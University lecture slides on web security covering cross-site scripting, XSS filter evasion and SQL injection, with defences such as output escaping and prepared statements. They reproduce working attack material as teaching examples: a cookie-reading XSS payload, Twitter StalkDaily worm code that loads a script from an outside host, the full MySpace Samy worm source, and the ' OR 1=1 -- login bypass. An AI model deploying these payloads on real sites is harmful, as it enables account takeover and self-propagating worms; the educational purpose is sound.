

CSE 484 : Computer Security and Privacy

Web Security

[Web Application Security]

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...

Admin

- Lab 2
 - Signup is up, remember to register ASAP
- Final project
 - First checkpoint deadline next Wednesday (Feb 17)
 - Simple: form a group, propose a topic
 - Groups **strongly** encouraged
 - https://courses.cs.washington.edu/courses/cse484/21wi/assignments/final_project.html
- Next week
 - No class or office hours Monday

Course Feedback

- Thank you for working with ET&L!

Cross-Site Scripting (XSS)

XSS Recap

```
<html> <title>Search results</title>  
<body>You have searched for <?php echo $_GET[term] ?>... </body>
```


What if “term” is `<script>alert(document.cookie);</script>` ?

```
<html> <title>Search results</title>  
<body>You have searched for <script>alert(document.cookie);</script> ... </body>
```


Fundamental issue: data interpreted as code.

Violates the spirit of the same-origin policy (*code is not really from the same origin*).

Basic Pattern for Reflected XSS



Where Malicious Scripts Lurk: Stored XSS



Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data not escaped when profile is displayed
- Result: StalkDaily XSS exploit
 - If view an infected profile, script infects your own profile

```
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeylolz.uuuq.com/x.js"></script><script src="http://mikeylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XMLHttpRequest();
ajaxConn.connect("/status/update", "POST",
"authenticity_token="+authToken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+authToken+"&user[url]="+xss+"&tab=home&update=update")
```

<http://dcortesi.com/2009/04/11/twitter-stalkdaily-worm-postmortem/>

Preventing Cross-Site Scripting

- Any user input and client-side data must be preprocessed before it is used inside HTML
- Remove / encode HTML special characters
 - Use a good escaping library
 - OWASP ESAPI (Enterprise Security API)
 - Microsoft's AntiXSS
 - In PHP, `htmlspecialchars(string)` will replace all special characters with their HTML codes
 - ' becomes `'`; " becomes `"`; & becomes `&`;
 - In ASP.NET, `Server.HtmlEncode(string)`

Evading XSS Filters

- Preventing injection of scripts into HTML is hard!
 - Blocking “<” and “>” is not enough
 - Event handlers, stylesheets, encoded inputs (%3C), etc.
 - phpBB allowed simple HTML tags like
`<b c=">" onmouseover="script" x="<b ">Hello`
- Beware of filter evasion tricks (XSS Cheat Sheet)
 - If filter allows quoting (of <script>, etc.), beware of malformed quoting:
`<SCRIPT>alert("XSS")</SCRIPT>">`
 - Long UTF-8 encoding
 - Scripts are not only in <script>:
`<iframe src='https://bank.com/login' onload='steal()'`

MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users' HTML
 - No `<script>`, `<body>`, `onclick`, ``
- ... but does allow `<div>` tags for CSS.
 - `<div style="background:url('javascript:alert(1)')">`
- But MySpace will strip out "javascript"
 - Use "java<NEWLINE>script" instead
- But MySpace will strip out quotes
 - Convert from decimal instead:
`alert('double quote: ' + String.fromCharCode(34))`

MySpace Worm (2)

Resulting code:

```
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)'" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var
D=document.body.createTextRange();C=D.htmlText;catch(e)}{if(C){return C}else{return eval('document.body.inne'+rHTML')}}function
getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var
F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var
AS=getQueryParams();var L=AS['Mytoken'];var
M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.sear
ch}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC('+A,A)}function nothing(){function
paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-
1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function
httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-
Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function
findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function
getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var
T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var
Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new
XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new
ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}};return Z}var AA=g();var AB=AA.indexOf('m'+ycode');var
AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+IV');var AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+a,'A'+jav'+a');AE=AE.replace('exp'+r),'exp'+r'+A');AF=' but most of all, samy is my hero. <d'+iv
id='+AE+'D'+IV>'}var AG;function getHome(){if(J.readyState!=4){return}var
AU=J.responseText;AG=findIn(AU,'P'+rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==
1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewI
nterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fu
seaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var
BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXM
LObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function
processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to
Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return
false}eval('xmlhttp2.onr'+eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-
Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
```


MySpace Worm (3)

- *“There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”*
- Started on “samy” MySpace page
- Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero
- 5 hours later “samy” has 1,005,831 friends
 - Was adding 1,000 friends per second at its peak



SQL Injection

Typical Login Prompt




Typical Query Generation Code


```
$selecteduser = $_GET['user'];  
$sql = "SELECT Username, Key FROM Key " .  
      "WHERE Username='$selecteduser'";  
$rs = $db->executeQuery($sql);
```

What if **'user'** is a malicious string that changes the meaning of the query?

User Input Becomes Part of Query




Normal Login




Malicious User Input



SQL Injection Attack




Exploits of a Mom



<http://xkcd.com/327/>


SQL Injection: Basic Idea



- This is an **input validation vulnerability**
 - Unsanitized user input in SQL query to back-end database changes the meaning of query
- Special case of command injection

Authentication with Backend DB

```
set UserFound = execute(  
    "SELECT * FROM UserTable WHERE  
    username= ' " & form("user") & " ' AND  
    password= ' " & form("pwd") & " ' " );
```



Username
[input field]
Password
[input field]
Sign in Stay signed in

User supplies username and password, this SQL query checks if user/password combination is in the database

```
If not UserFound.EOF  
    Authentication correct  
else Fail
```

Only true if the result of SQL query is not empty, i.e., user/pwd is in the database

Using SQL Injection to Log In

- User gives username ' **OR 1=1 --**

- Web server executes query

```
set UserFound=execute(  
    SELECT * FROM UserTable WHERE  
    username= ' ' OR 1=1 -- ... );
```

Always true!

Everything after -- is ignored!

- Now all records match the query, so the result is not empty \Rightarrow correct “authentication”!

Preventing SQL Injection

- Validate all inputs
 - Filter out any character that has special meaning
 - Apostrophes, semicolons, percent, hyphens, underscores, ...
 - Use escape characters to prevent special characters from becoming part of the query code
 - E.g.: `escape(O'Connor) = O\'Connor`
 - Check the data type (e.g., input must be an integer)

Prepared Statements

PreparedStatement ps =

```
db.prepareStatement("SELECT pizza, toppings, quantity, order_day "  
+ "FROM orders WHERE userid=? AND order_month=?");
```

```
ps.setInt(1, session.getCurrentUserId());
```

```
ps.setInt(2, Integer.parseInt(request.getParameter("month")));
```

```
ResultSet res = ps.executeQuery();
```

- **Bind variables:** placeholders guaranteed to be data (not code)
- Query is parsed without data parameters
- Bind variables are typed (int, string, ...) <http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html>

Wait, why not do that for XSS?

- “Prepared statements for HTML”?

Data-as-code

- XSS
- SQL Injection
- *Stack smashing with shellcode*